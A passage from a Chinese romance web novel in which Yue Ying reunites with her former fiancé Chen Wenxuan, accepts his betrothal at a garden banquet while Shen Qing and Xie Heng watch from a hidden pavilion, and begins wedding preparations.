岳瑛抬眼望向阴沉沉天空里密密落下的雨滴,没有太多迟疑,扶着车壁下了马车,一手抬臂举过头顶勉强挡些风雨,一手还护着方才从药铺里抓来的药包。 自回了洛京,她几乎没有踏出过沈府,只是老郎中不住在府上,沈青每个月来葵水止痛的药,她得亲自去抓,尤其是沈青受过那次伤后,这药方又下得更重了许多,万不可疏忽。 没想到一出门就遇上一场大雨不说,马车偏偏也好巧不巧坏在了路中。 沿街不远处是鳞次栉比的商铺,岳瑛低头跑过去避雨,不料跑得太急,堪堪一下迎面撞上一个人,将自己撞得踉跄退了两步,好在被撞上那人及时扶住了肩膀。 她吃痛地揉了揉本就在马车里被撞得发红的额头,眼底只看得到对方一片浅绯色麟纹的锦袍。 “公子,实在抱歉……” “阿瑛!?” 一声又惊又颤的呼喊,震得岳瑛霍然抬头,近在咫尺的,是一张恍若隔了前生今世的熟悉容颜。 她双唇上下嗡了嗡:“你认错人了。” 头一次,她觉得自己从头到脚没一处不是狼狈,忙遮捂住被撞红了的额头转身就走,可是另一只手腕被人狠狠扼住。 “阿瑛,你还活着!这些年你去哪了……” “说了你认错人了!” 岳瑛也不知自己哪来的力气,不仅挣开了对方的束缚,还将人推得往后踉跄了两步,她也没有多看一眼的勇气,匆匆跑入铺天盖地的雨幕之中。 给沈青抓的药包骨碌碌地滚落到湿漉漉的地上,无人去拾。 于是并没有把谢珩提醒当一回事的沈青,撑着伞慢悠悠走到家门口的时候,看到的就是这样一幕。 一名年轻的绯衣公子立在门外,有一随从在身后替他举伞撑着,两人齐齐杵在门口,而沈府大门,的确是紧闭了的。 沈青顿住脚步,看那公子眉目俊朗文质彬彬的,在脑海中仔细搜罗了一番是自己哪路认识的朋友,可印象中怎么也想不起这个人。 不对啊,这样容貌气度的人,她怎么会不记得呢? 而且,即便隔着淙淙雨幕,她也能感受到对方脸上的苦大情深,怎么看都有点像……要债的? 她平日里花钱是大手大脚,但好像从来也没找人借过钱吧…… “阿瑛,我知道你就在里面,你现在连跟我见一面都不愿意了吗?” 听清来人的喊话,沈青明白了,还真是个要债的,不过要的是岳瑛的情债。 三年前她救下岳瑛的时候,就知道她有一门婚事在身,也劝她下山去依附夫家,但是岳瑛宁愿留在匪寨当着“压寨夫人”,也不肯下山去寻求未婚夫家的庇佑。 无他,因为她自觉是罪臣之女,流放之身,又落入匪寨毁了名声。 而未婚夫是郡侯之家,虽然这两代来有没落之势,但也是清白有名望的高门贵胄,她不过一个未过门的外人,何必平白沾染了别人名声,还不如就当她死在贼窝里,省得为难人家。 没想到兜兜转转,在这偌大的洛京,两人偏偏能重逢。 如果没记错的话,这人好像叫陈文轩? 看他如此锲而不舍立在她家门口快成一个望妻石了,沈青忍不住上前打断他:“这位……陈公子是吗?既然人家现在不想见你,你看天气也不大好,不如今日你就先回去吧?” 陈文轩懵懂回头,看清伞下青衣玉立的俊秀公子:“你是谁?” 沈青努努嘴示意门上牌匾:“这是我家诶。” 陈文轩脸上闪过一丝错愕,而后很快镇定下来,笃定道:“你是沈青。” 竟然知道她的身份? 沈青和煦笑笑:“正是在下。” “岳瑛是我未过门的妻子。” 陈文轩一双眼睛生得很是俊朗,他目光炯炯盯着眼前人,几分怒意愤懑,几分隐忍克制。 沈青没想到他这样开门见山,心念一转,故意语气玩味道:“可是岳瑛现在是我的夫人啊。” “你们未经媒聘,未签婚书,也没有过户签印,她算不得你夫人。”陈文轩冷冷反驳她。 原来都打听清楚了啊,沈青忽然后知后觉意识到谢珩说让她多看顾一下后院是什么意思了。 “那又怎么样?我可不在乎这些,岳瑛可是实实在在跟了我好几年的。” 她挑挑眉,果然见陈文轩听完这话,一张俊脸阴沉得能滴出水来,只是读书人极好的涵养,他胸口深深起伏几下,竟然上前走了两步。 沈青以为他要动手打人,正为难该不该还手,眼前的绯衣公子弯下腰来,深深向她作了一揖。 她瞪圆了眼:“你……” “这三年岳瑛流落在外,是我无能没有找到她,承蒙沈公子收留庇护,才得以平安,陈某感激不尽。既然现在岳瑛回京,我要把她接回府上,无论发生什么,我都会护她爱她,不离不弃。” 陈文轩字字句句混杂的雨水,掷地有声,沈青张了张嘴,好半天不知道该说什么。 她甚至一时有点分不清楚,这人到底是莽撞,还是胆魄过人呢? 在人家家门口,理直气壮地给人带绿帽子?她可是悍匪沈青诶,已经这么没有威慑力了吗? 她望了一眼依旧紧闭着的大门,雨水瓢泼,朱红的木门湿成深红。 问题是,她现在也不知道岳瑛到底是什么态度啊! “不是,”她斟酌了一下:“岳瑛也不是一个泥塑的娃娃,任你搬来拿去吧?好歹你问问她自己愿不愿意?万一下半辈子她就想跟我在一起呢?” “绝无可能!” “什么意思啊?你觉得我比你差?” 意识到自己的失控,陈文轩顿了顿,才继续道:“我自然是一切全凭阿瑛的意愿。只是今日既然与你照面,便知会你一声,但凡阿瑛愿意回到我身边,旁人阻拦不了半分。” 如果说他先前还有斯文的隐忍克制,现在完全就是强硬坚决的警告。 话说到这个份上,沈青也只好表个态:“行,既然你这么说,那就一切全凭岳瑛的意愿。毕竟感情的事情也讲究先来后到,如果她愿意跟你重修旧好,那你就回去跟父母高堂商量,三媒六聘上门提亲,一点礼数都不能少,我就以岳瑛义兄的名义送她出嫁。怎么样?” 陈文轩不可置信:“当真?” 沈青最烦别人质疑她说的话:“好歹我也是在江湖上混了这么多年,你稍微去打听一下就知道,我这人最讲道理守信义了!” 大概是没想到她这么好说话,短暂地失神后,陈文轩落在沈青身上的目光多了几分叹服:“沈公子,果然名不虚传,那就一言为定。” “一言为定。” 沈青望着陈文轩的背影渐行渐远,一身绯衣与雨幕融为一体。 这人不畏她的名声,也不介意岳瑛曾经落匪的经历,有上门谢她庇护的大度,也有绝不相让的霸气,竟对岳瑛这般情深不渝。 家世门第显赫,又仪表堂堂,举止有度,可真是难得! 这么想着,她赶紧哒哒跑上台阶,收了手上青油伞,推门进去果然看到岳瑛还站在门后。 “他……走了吗?”她微红着双眼,衣裳发梢都还沾着雨水,额上一片红痕颇有些刺目,在沈青开门进来时,忍不住往外张望。 沈青实在不能理解:“你为什么要躲着他啊?” “抱歉啊,我也不知道竟然会遇到他,”岳瑛低着头,闷声开口:“其实我心里也很乱,我不知道要怎么面对他,没想到最后给你添麻烦了……” 沈青可实在听不了这话,在小金顶上,也没见她这样谨小慎微过。 自回了洛京,她完全能感受到岳瑛日复一日在织一张茧,将自己封闭起来,她一直没有过多干涉,总觉得她大概需要时间来重新接受在洛京的生活。 可是比起在小金顶上那个清丽明媚的岳瑛,洛京的岳瑛好像是一张被抽了魂儿的皮影。 她先前以为她是近乡情怯,怕见旧友,今日见了陈文轩,忽然有些明白了,京中有这么个一表人才的未婚夫,时过境迁,她越发自惭形秽了。 这可不行! 沈青抬手扶住岳瑛的双肩,盯着她眼睛一字一顿道:“能重逢说明你们有缘,有情人终成眷属,这不是好事吗?” 岳瑛顿时眼眶一红,楚楚目光里有说不尽的顾虑和无措。 “我刚从大理寺回来,谢珩直接给我下了定论,你父亲的案子必有冤情,既然他说了有冤情,就一定会给你父亲沉冤昭雪的。等翻案以后,你就不再是罪臣之女,至于你在莽山生活的那几年,那找个合适的机会跟他说清楚,一切不就解决了吗?” “可是沈青,已经过去三年了,他已经另有婚约了。” 沈青懵住,耳畔只听得到零落雨声夹杂着岳瑛的呜咽,点点滴滴,打在院中脆嫩芭蕉叶上。 春雨听了一夜,等晨间天光大亮的时候,雨也终于停了,草木庭院,到处都是湿漉漉的气息。 隔着院墙,依稀能听到外街上时远时近的叫卖声。 朱红木门“咯吱”从两边大开,沈青伸着懒腰跨步出门,雨后春风里一身青衣飒飒。 不过她一只脚刚迈出大门,仿佛脚底踩了根针似的,“蹭”地一下又缩了回来,仔细揉了揉眼,整整齐齐一支队伍并十几口漆红大木箱列在门外。 为首的是换了一身靛蓝锦袍的陈文轩,轻浅晨风里,更显得整个人气宇轩昂。 “陈郡侯府陈文轩,上门求娶岳瑛。” 沈青脑袋懵懵地让队伍进了沈府大门,红漆木箱罗列满院,尤其壮观。 ……还是院子买小了。 聘礼中,打头的是一对脖子上系了红绸的肥雁,后面一长溜是漆得大红的方木箱,打眼一数正好十二只。 这是娶妻的规格。 沈青疑惑地翻看礼单,昨天听岳瑛说过,当年她家还没有落难时,本就高攀不上陈文轩家,只因父辈有约才让她占了这姻缘。 现在与陈文轩有婚约的是陇西裴氏家的千金,陇西裴氏是仅次于四大世家的高门,陈郡侯府两代没落,是高攀了裴家。 如果陈文轩还想跟她重修旧好,只能是纳她为妾。 她当然是不愿做妾的。 可是这大红礼单上,金烫烫的字迹,分明写的就是娶妻啊。 “我想跟岳瑛说几句。” 思绪被打断,沈青抬头,做出一个“请”的姿势,自己扫了扫阶上尘土,在一旁坐下。 岳瑛未曾露面,房门上是梨木雕花,秀雅珠帘丝丝垂落。 陈文轩也不再勉强,只远远立在阶下。 “阿瑛,今日我送来的这些聘礼,本来是三年前就要送到你家去的,上天垂怜,让我今生竟然还有机会将这聘礼送出。虽然我是照着三年前的礼单尽数准备好,我也知道弥补不了这三年的遗憾。” “你不必为此有负担,凡你所选,皆我所乐。” 院子里安安静静萦绕着一夜春雨后的草木清香。 可是陈文轩没有等到那扇门开。 第43章 第43章他不是谢十三 十二箱沉甸甸的聘礼被留在院中,静默地等候着主人的接纳。 当然,聘礼只是代表陈文轩的态度,最后的决定,取决于岳瑛。 沈青知道她需要时间,可巧,在洛京,她们现在最不缺的就是时间。 天气一日比一日明朗,洛京城里,终于有了春日的明媚。 因着对谢珩的承诺,除了隔三岔五去大理寺对接一下案件进程,沈青按捺着自己每天想出门的念头,就搬个靠椅在廊下晒着太阳摇啊摇,偶尔迷糊做了个短梦,撑眼看到的是青砖小院四四方方的天空,不是小金顶上触目可见的连绵群山。 谢珩也没限制她出门,可是不能去南风楼,那出门便索然无味了。 好在她想念着南风楼的美人佳酿,南风楼的公子似乎也惦念着她,也就几日未见,王容便派人递了张请柬上门。 不愧是一起喝酒听曲的兄弟! 接了这蓝底烫了金边的请帖,才发现这并不是王府的帖子,而是一张绿玉园曲水流觞的帖子。 绿玉园,是谢家众多私园中的最具匠心的一座园林,号称洛京第一名园,而绿玉园每年一度的曲水流觞盛宴,那可是京中名流最看重的一场雅集,关于绿玉园曲水流觞的种种雅闻,沈青曾远在渝州,都听到过不少盛赞。 至于参宴资格,要求也是极高,官位,家世,学识举止,容貌气度,任何一面差上一分,都无缘跨进绿玉园的大门。 王容能给她递上这么一张请帖,不知中间费了多少周折。 但她其实不是很想去。 曾经她听到的那些遥远雅闻,绝大部分说的都是关于谢珩如何风华无双。虽说她近来因为岳瑛的案子,跟谢珩之间也缓和了不少,但还是少见为妙。 不过王容可真是她天下难觅的知音,特地捎了一段话让这送贴的小厮学舌给她听:“全洛京最出彩的公子小姐都会出现在那天的绿玉园,如果在绿玉园找不到合眼的人物,那全洛京的人都入不了你的眼了。” 沈青手指不断摩挲着那张厚厚的请帖,绿玉园的高高门槛,将天底下家世品貌最好的公子都替她搜罗过来了。 如果要给孩子找个合适的父亲,那这就是现成的样品,不知要比南风楼品质高多少! “阿青,”正想着,岳瑛忽然推门出来,一双戏水鸳鸯的绣鞋迈出门槛,踩在铺满稀碎日光的青砖上:“我也想去看看。” “行,那就去!” 真是罪过,刚才她脑子一定是被驴踢了,竟然会生出因为谢珩在就不想去的荒谬念头? * 天朗气清,惠风和畅,绿玉园外宝马香车如流,佳人才子纷纷。 这是沈青第一次来绿玉园,即便这些日子在洛京见多了各具巧思妙设的亭台楼阁,也依然被绿玉园的精妙构建而惊艳到。 不愧是洛京第一名园,是即便天子之家宴会游乐也要向谢家征借的园子。 洛京城里还只有明媚春意散落,绿玉园里早就是春色深深。 百花竞放,万木葱茏,三步一泉,五步一谷。 廊桥水榭,宴台楼亭,虽然也极具巧思,但都不过是点缀于盛景之中,不敢喧宾夺主。 置身绿玉园,如临绿野仙居。 不过以沈青的身份,宴会的坐席已经是园中最偏末的位置了,饶是最偏末的位置,也是一张晶莹温润的白玉桌,桌上各色琉璃盏里盛放的,是平日里见都没见过的精致糕点。 玉桌前方,是清溪流水蜿蜒绕到此处的一个溯回,清可见底,水草妖娆,游鱼嬉戏,听说这所谓曲水流觞,关键就是这一道玉泉清溪。 玉桌脚下被奇花异卉环绕着长了一圈,沈青叫不出这些花木的名字,只觉它们开得格外蓬勃热烈,比国色天香的牡丹还要鲜艳娇美。 沈青带着新奇目光四处张望时,周围也有不少目光有意无意落在 她们这边。 毕竟悍匪沈青之名,这些日子洛京中实在传得响亮,只是很多人都没能一睹庐山真面目,这次她来绿玉园,自然一下子吸引了众人的关注。 园中前来赴宴的公子,俱是锦衣华服,宽衣大袖,翩跹如仙,方与这绿野仙居相配。 唯有沈青,依旧是一身利落的窄袖青衣,有种格格不入的朴素,偏偏她身姿秀挺,紧束的青衣反倒衬得她如松如竹,加之她五官容貌清绝秀逸,一颦一笑间,有种惊心动魄之摄人,令人不敢逼视。 一身风华,如明珠碾过砂砾,盖过园中多少翩翩佳公子。 再联想到她和谢珩的各种传言,那些原本将信将疑的的眼神,一下子都变得恍然大悟! 当然,她身边的岳瑛也没能避开四面投来的关注目光,她今日装扮比起小金顶上的明丽,要素净许多,一身挑不出毛病的浅杏色衣裙,发髻上也只是绾了几只素银小簪,与沈青一样,跟园中女子满头珠翠相比,实在有些格格不入了。 不过相比于回京后的画地为牢,这次她主动提出来绿玉园赴宴,说明她终于决心走出来,真正面对回到洛京的生活了。 几年前,她也是绿玉园曲水流觞的座中客。 有旧识认出了岳瑛,联想到岳家几年前就灭门于流匪之手,登时面露惊愕;也有些新贵,并不认识她的,也纷纷揣测起这女子的身份来,难道就是沈青的正室夫人? 有人纷纷议论起,前些日子陈郡侯府好像往沈府送了十二箱聘礼,这岳瑛,当年不正是和陈郡侯家的公子有婚约吗? 此时看向她们的目光又精彩了许多。 沈青向来是不在乎别人目光的人,可她来这绿玉园是为了看俊俏公子的,可不是供别人打量的。 于是她不动声色凌凌抬眸,正好与一道打量过来的目光对上,眸色间的锐意和杀气转瞬即逝,那人忙把目光收了回去,颤着手端了酒杯连喝了好几口。 旁的人也立马不再往这边看,一派专心享受宴席的端正模样。 沈青挺直的腰背松垮下来,这下终于轮到她来好好欣赏一下洛京城的翩翩公子们。 虽然她是王容递了帖子请来的,可是她门第身份与王容相差太多,进了园子,王容才跟她打了个照面,根本来不及跟她一诉相思之情,就被其他好友拉去把酒言欢,两两相隔,天远地远,比她回沈府的路还远。 不过他身边那三五好友,确实英俊倜傥,气度不凡,比当日被他凑来以琴会友的那一桌子人赏心悦目太多了。 改日让他再凑一场以琴会友。 她再就近往身边几桌打眼看去,亦都是君子温雅,淑女矜贵,还想再多仔细打量,幽谷中忽然响起清亮飘逸的琴声悠悠,裹挟了林谷中草木幽香,携来玉泉水中的暗流涌动,再缓缓淌入听者耳畔心田。 如泣如诉,如痴如狂。 直到一曲尽了很久,沈青才重新眨眨眼:“这曲子……我听过。” 在那个大雪覆满群山的小金顶上,似乎是有清冷月光铺洒的雪夜,她听过一模一样的曲子。 岳瑛提醒她:“刚刚是珩公子在弹琴。” 沈青茫然四望,水榭楼台,宾客如云;林谷葱茏,鸟飞鹿走,哪里有谢珩的身影? “你看不到的,每年的曲水流觞盛宴,珩公子从不在人前露面。只不过也会弹琴作诗,与大家同乐,每年来绿玉园赴会的人,最期待的就是能亲耳听一曲珩公子的琴音,看一眼珩公子的笔墨。”岳瑛继续跟她解释。 沈青听得白眼一翻:“哼,做作!” 果然,她只是喜欢那个在小金顶上温柔乖觉的谢十三,并不喜欢这个风华绝代受无数人倾慕的第一公子谢珩。 前者柔顺无害,后者太锋芒压迫。 又听到旁边有人啧啧称叹:“三年前一闻《空山》,已成绝响,没想到有生之年,竟还有机会再听到此曲。” 有人附和:“虽是旧曲,却谱了新意,三年前的《空山》是空谷幽兰缥缈高远,今日之《空山》,怎么婉转低回了许多……像寂寂空谷,低诉心绪?” 几人将这曲子典故翻来绕去,说得沈青也不太听得懂,她默默端起桌上的琥珀杯,浅尝了一口。 然后又尝了一口。 耳畔开始有人议论起杯中美酒:“往年的绿玉佳酿虽然各有千秋,但皆具醇烈,口齿留香,为何今年花蜜果香完全掩盖了酒香呢?” “确实,几乎没有酒味,倒也清爽,可能是谢府酒师一些新尝试吧。” 沈青又放心多喝了几口,还好,原来不止她一个人觉得没有酒味啊。 谢珩献完曲,接下来的宴席氛围渐渐轻松散漫起来,有人开始走动相邀,有人则继续坐在桌前小憩。 琥珀琉璃杯在清溪上缓缓从眼前漂过,水草曼妙妖娆,不经意地一下勾住杯角,玉桌前的主人便笑着喝一杯美酒,再赋诗一首,引得众人纷纷举杯相赞。 这对沈青来说很痛苦,她实在不能理解这么无聊的游戏,为什么大家玩得如此不亦乐乎? 很不幸,她面前清溪回溯处,水草也多情地勾住一次杯脚,好在她有个知书达理的夫人,杯酒诗成,轻松过了一关。 不久是清溪上游,忽然传来阵阵喧哗,原来是谢珩也取笔作诗,人人竞相传看。 如果有一群英俊的公子,每天围在她身边给她作诗,她应该很快会疯掉。 沈青仰头望天。 望到一个杏色衣裙清丽的仙女,噢不,婢女径直往她这个方向走来。 她正懵懂看着,身边的岳瑛脸色一点一点变得不自然起来。 原来是岳瑛曾经的闺中好友相邀一叙,她略微踟蹰了一下,就做出决定,与沈青招呼了一声,随那杏衣婢女暂时离席。 望着她秀雅身姿渐行渐远,沈青莞尔,她本来就是属于这里的,应该重新开始适应这里的旧人旧事,找回失去的三年时光。 可是身边岳瑛一走,她就更百无聊赖了,她盯着水面上不断向她漂近的琉璃杯,果断也起身离席。 绿玉园占地不知多少顷,堆红砌绿层层叠叠,漫无边界,早有不少也离席的公子姑娘们,各自三三两两,漫步闲赏园中春色。 沈青一个人漫无目的地往人少处乱逛,循着流水淙淙,走到一处断坡间,有一汪深碧如玉的清潭,时不时有晶莹水泡圆滚滚从泉眼里翻上来,噗嗤一下再散开。 清泉循着断坡蜿蜒而下,才有了她们宴席间的一湾清溪。 她忽然就想到了小金顶上飞流而下的瀑布,这么一比,眼前这小石坡也太小巧了,果然只是公子小姐修砌来赏玩的。 她还没来得及怀念一番小金顶的瀑布,断坡下一抹浅杏色的熟悉身影映入眼中,可是她旁边……哪有什么闺中好友,那不是陈文轩吗? 大概岳瑛也是方才意识到自己被诓骗了,背影看上去有些慌乱,两人像是在拉扯争执什么。 可是隔得太远,沈青也看不清两人到底什么情况,她绕过那汪深潭,想找个地方凑近一点看看。 树丛交错掩映下,她刚弯下腰探出身子,腰间一顿,被抵上一把利刃。 “沈公子,这是绿玉园的禁地,请回吧。” 熟悉的声音在耳畔响起,沈青松了口气,扭头看去,她竟然没发现,深潭之上,是一座用古木搭建的临水小榭。 这临水小榭建得极妙,借着水潭和绿树,视觉上看,一半潜在水中,一半掩在林中,还真是远观近看都难以发觉。 绝妙琴音由此而下。 沈青“嗤”了一声:“什么禁地啊,不就是你家公子在里面吗?” 腰上那把利刃抵得更用力几分:“闲杂人等,不可扰公子清净。” 沈青仰起下巴,根本都看不见岳瑛的半点身影了,想到他俩刚才的拉扯模样,她有点怕岳瑛吃亏,正好又仔细瞧了瞧水 榭的位置,反手轻而易举将抵在腰上的匕首收了。 “我不是闲杂人等,我有重要的事!” 鸣山还想再拦,沈青翻身进了水榭。 “站住——” 鸣山追了进去,看见沈青闪在门边扒拉着门框,一副打死不出去你奈我何的模样,谢珩背对着他们凭栏而坐,正调试身前的乌尾。 “公子……”鸣山自觉失职,踟蹰不敢前。 “你先出去吧。”谢珩没有回头,平淡的声音里听不出情绪。 “是。” 鸣山领命,退出去前不服气地看了一眼沈青,沈青眉眼弯弯跟他挥手告别。 直到小榭里只剩下她和谢珩,她才发觉呼吸间空气的凝滞。 这段时间在大理寺跟他还是打了几次照面,每次他都是一身清肃官服坐于高堂,现在久违地恢复了白衣胜雪的模样,虽然方才在绿玉园已经大饱眼福,见了不少翩翩佳公子,可仅仅只是这么一个疏淡矜雅的背影,依然能瞬间让人见之折服。 环顾四周,一琴台,一棋盘,一书案,跟这里的主人一样的疏淡矜雅。 见他还在专心调弄乌尾,沈青“嘿嘿”笑着走到他身边:“你这里视野真是挺不错哈哈。” 小榭不是一间封闭的房子,临水倚树,只有遒劲的古木栏杆疏落搭建,坐在小榭栏边,依然是置身绿玉园的奇景之中。甚至一伸手便可触到林中交错垂落下来的繁茂枝叶。 因着它地势较高,可见碧潭泉水蜿蜒而下,绿玉园中花木楼阁错落起伏,才子佳人隔水相望,尽收眼底。 可它又坐落奇巧,别说遥遥抬眼往这边看,就算走到小榭近前,也只有绿木葱葱,清溪流水,浑不见半隐水中半掩林木的小榭。 实在是意趣盎然。 她在栏前站了会,没有等到身边人的回应,便四下搜寻岳瑛的身影,方才他们就在碧潭下面,绕过碧潭,那应该就在小榭的下方了。她凝神侧耳,果然听见了有男女窸窣的交谈声,若有若无地夹杂在流水声中。 “论视野,这里不如小金顶。” 沈青正全神贯注细听栏外的动静,身边沉默许久的人忽然来这么一句,吓得她如临大敌,忙转身一把捂住他的口鼻。 四目相对间,那双幽静清渺的眼眸半是惊愕半是乖觉,他温热的呼吸扑在掌心,丝丝痒痒,沈青茫然憧怔一瞬。 ……谢十三? 几乎也是在一瞬之间,沈青忙把手放了下来,他不是谢十三。 “你别说话,我真有事。”沈青小声提醒他,语气不自觉多带了两分疏离。 身边的人果然不再说话,她大着胆子,小心翼翼探出小半个头,果然在小榭一侧看到了岳瑛那抹熟悉的身影。 身前的栏杆上忽然又多出一片影子,她偏头一看,没想到谢珩竟然就在身侧,跟她一样,探出一点身子,似乎只是在好奇,她到底在看什么。 雕霜斫玉的侧颜近在咫尺,他呼吸清浅,身上淡淡梨香将她笼罩。 沈青屏住呼吸,强迫自己郑重其事转过头去,因为现在那头的情况更为焦灼。 郁郁林中,岳瑛被陈文轩半撑着手臂拦在一颗老树下。 “阿瑛,难道我在你这里,跟你面对面说几句话的资格都没有了吗?” 他语气里极尽卑微乞求,只是动作上可没有半分退让,甚至在说话时,还压低了身子,往前靠近几分。 既保持了一个相对克制的距离,不至于被人撞见乱嚼舌根,实际上又是一个绝对强势的阻拦姿态,让她避无可避。 岳瑛避不开他,又无法面对他,只好半低下头不去看对方的眼神,一张白皙的面容透得绯红。 一开始,沈青是怕她吃亏,才急着过来,按理,这时候她该出手解围了,可是脚下怎么也迈不开步子。 说不上为什么,她总觉得眼下氛围虽然十分怪异,但好像轮不到她去插手? 若是别人,敢这样对待岳瑛,她早就把人废手废腿了,可是陈文轩的举动……她竟然没有觉得很讨厌。 她默默又往前凑了凑,继续静观其变。 “自从你们家出事,我们家从没想过坐视不理,一直在从中努力周旋,后来听说你们在路上遭遇流匪,我们府上依然暗中派了很多人去寻你,即便传回来的都是你已经身殒的消息,这三年我也没有停止过找你。” “天可见怜,直到今日,你真的活生生站在我面前。” 岳瑛的声音低低传来:“可是,都已经过去三年了,你已经有了婚约,前途坦荡,真不该跟我这样一个罪臣之女再牵扯了。” 两人言语字字泣泪,沈青托腮倚在栏边,有风掠过碧潭吹入小榭,窸窣吹起她额前丝丝碎发,长睫下清眸盈盈,也揉进了细细碎碎的怅然。 世间的阴差阳错,总是捉弄有情人。 陈文轩听完岳瑛的话,好像反而松了口气:“如果你只是因为我的婚约不肯让我接近,那你完全不必担心。” “你我早有婚约在前,只是中间生了变故以为你已身殒,我才另有婚约,但自始至终我们两家都没有解除过婚约。既然现在你已平安归来,自然当履行你我婚约。此事我陈郡侯府会去与裴家解释说明清楚,裴家定会通情达理。” “何况我与裴家千金虽有婚约,可我们从未见过面,可以说是互不相识,不曾有任何情感上的牵扯。陈郡侯府之于裴家,本就是高攀,解除了婚约,裴家可另择高门,这对裴家来说是乐见其成的。” 岳瑛朦朦抬眼,终于看清这三年来日思夜想的俊雅公子,少年俊朗的五官眉眼,隔了几年岁月,更加坚毅稳重。 她喃喃发问:“可是……那是陇西裴氏……” 即便是将来她替父亲翻案成功,裴氏高门与区区岳家,简直是云泥之别。 “我不管门第世家,我只要你。” 泪眼婆娑中,她看到陈文轩从怀中缓缓取出一枚同心锁,这锁不是一般的材料,而是用上等羊脂美玉锻造,玉中带红,如血色蔓延,亦如海棠花开。 因为她平日最爱海棠。 如果没记错的话,这同心锁的背面,篆刻了两人的生辰八字。 果然,陈文轩将同心锁托在手心,用一种无比虔诚的姿态将手心呈向她:“这本来也是三年前就该给你的,我没有将它放在聘礼的礼箱中,只想亲手交给你。” “岳瑛,我们已经错过了三年,可是余生还有几数年,还会有许多的三年……从再见你的那一刻起,我就决定,我不会再让你颠沛流离,也不会再让你受到半点委屈和欺负。” 少年的真挚总是格外动人,情之不渝,终能让宿命轮回。 动情间,沈青不由自主吸了吸鼻子,碧潭水波粼粼,映照她眉眼清波盈盈。 “你……” 耳畔一声欲言又止将她拉回现实,想起谢珩还在身边,她若无其事抹了抹鼻头:“干嘛?” 大概看明白岳瑛和陈文轩是怎么回事后,谢珩的注意力几乎都在沈青身上,她每一个细微的表情,都落在他眼中。 没有想象中的暴跳如雷,有时候甚至是惆怅,是动容,甚至还有些心满意足? 总不会是撞见妻子与旧情人互诉衷情后,被刺激到不知道该有什么情绪了? 他竟有些担忧:“你……还好吧?” 意识到自己刚刚有些失态,沈青也不甚在意:“有情人终成眷属,这当然值得令人感动。” 谢珩一双眉头蹙得更深:“可是,她不是你的夫人吗?” ……如果他没记错的话? “对啊,正因为是我夫人,所以我更要替她留心,”被他这么一提醒,沈青正好就找这个现成的人来问:“你们世家子弟之间应该很熟,陈文轩这人怎么样?陈郡侯府又怎么样?岳瑛要是嫁过去,不会 受委屈吧?” 目前来看,她对陈文轩是很有好感,可是也就几面之缘,她还是得多方面考察一下。 虽然万分不理解,谢珩还是照实回应:“我不常与人交际,除了政务公干上的交集,我与各世家子弟私交甚少。” 说完见沈青面露失望,他又立刻补充道:“陈文轩既然愿意舍了与陇西裴氏的婚约,而去履行跟岳瑛的婚约,此举于世家子弟来说,足够惊世骇俗,可见他对岳瑛诚意不假。” 沈青想起,岳瑛也跟她说过,原本她就是高攀,再经历种种变故,哪怕是去给陈文轩做妾,都是天大福分,更不敢肖想正妻。 可她总觉得相爱本身就是无关门第身份的事情,这么想着,她不由得戳了戳谢珩:“如果是你喜欢的人……” 当她意识到自己在问什么的时候,话已经说到一半,她赶紧止住话头,诶,如果两人稍微相处近一些,她总是在一个不经意间,一不小心就把人认成谢十三了。 大概是今天谢珩没有指着她一本正经地说教吧。 “我喜欢的人怎么?”谢珩追问。 沈青忙转过身指了指小榭下,岳瑛终于将那枚同心锁收入自己掌心。 “诶,看来我的夫人要跟别人跑了啊!”她掩面叹息。 如果不是她一身窄袖,遮不住整张脸,谢珩还真不一定看得到她嘴角抑制不住的笑容。 “为什么?”他很执着地想解开心中疑惑。 沈青放下袖子:“什么为什么?” 因为树下那对久别的眷侣,林间树梢都荡漾着丝丝甜意,她这会儿看谢珩都顺眼了不少。 谢珩很认真盯着眼前这双盛满星星点点笑意的眸子,试图找到一点端倪:“你当真一点生气……难过都没有?” 从小金顶到洛京,他们这对夫妻的鹣鲽情深他都看在眼中,沈青为岳瑛搏杀孟渊,为岳瑛收敛性子不再去南风楼,甚至他急着闯进这小榭,也是生怕岳瑛受委屈……如此种种,其中深情,有目共睹。 以他对世间夫妻的浅薄理解,卧榻之侧,岂容他人酣睡? 他原先觉得岳瑛对自己没有敌意,是出于正室的大度,那沈青现在这种大度,又是怎么回事? 沈青从未在他这张向来从容疏淡的脸上看到这般精彩的神色,有惊愕,有迷茫,有探究,还有无比真挚地求知若渴。 她几乎要笑倒。 但毕竟眼前的人是谢珩而不是谢十三,她勉强收了笑意,一本正经地开始胡诌:“正因为我喜欢她,所以希望她一切都得偿所愿。嗯……喜欢一个人,就要成全她。” 喜欢一个人,就要成全他? 轻轻快快的一句话始终在耳边萦绕,小榭里的那道青影早就离开。 凭栏望去,绿玉园内宴席也渐渐散场,人声渐稀,直到彻底恢复往日的清净,只有淙淙流水永无止息。 落日熔上金边,斜斜洒落公子一身清疏白衣。 第44章 第44章结束这卑劣的试探 从绿玉园回来,岳瑛果然松口,收下陈郡侯府那十二箱沉沉聘礼。 陈文轩心急,似是迫不及待要补偿失去的三年,一切繁缛的礼节都压缩在极短的时间内,婚事就定在了下月初。 这对于洛京世家来说,确实是过于仓促了,可是这本来就是一场三年前就该完成的婚事,再仓促,也太迟。 最重要的是,岳瑛终于不再作茧自缚,恢复了往日在小金顶上那样的明丽鲜活。 不,是在小金顶都没有过的轻快满足。 有时候沈青看着她从廊下走过,张扬的裙角在空气里也掠出一抹笑意。 婚期匆匆定下,大部分事宜都是陈郡侯府包揽,但沈府这边也不能全无准备。 外面虽然早有闲言纷纷,沈青自己不在乎,却也不得不顾及岳瑛的名声,于是与陈郡侯府的人商量,给岳瑛在沈府附近专门租了间寻常小院用来待嫁。 小院要重新做一些打理布置,虽然有沈青安排的人手,岳瑛也总不愿坐享其成,时不时也去小院亲力亲为。 今日是一个濛濛雨天,沈青一觉醒来,天已大晚,她对着轩窗发呆醒神,窗外细雨如丝,无声地浸润檐下草木。 也太安静了些。 岳瑛这会儿肯定在小院中布置,想到那边雨天可能人手不够,沈青赶紧起身出了沈府。 她径直往青砖小院而去,脑海里也不停捋着各项事宜是否准备妥当,别说,这一场婚事准备下来,真让她生出几分比在莽山当寨主还操心的心境。 绕过街角,海棠初绽的门檐下,就是那一处青砖小院。 小院不算高大的门墙上,贴了大红囍字,门侧两边是类似佳偶天成的喜庆对联,檐下硕大的红灯笼与简朴小院颇不相衬,流光溢彩地展示着院中待嫁新娘的欢心。 才两日的光景,小院中早已焕然一新,丝丝笼罩下来的细雨都透着甜意。 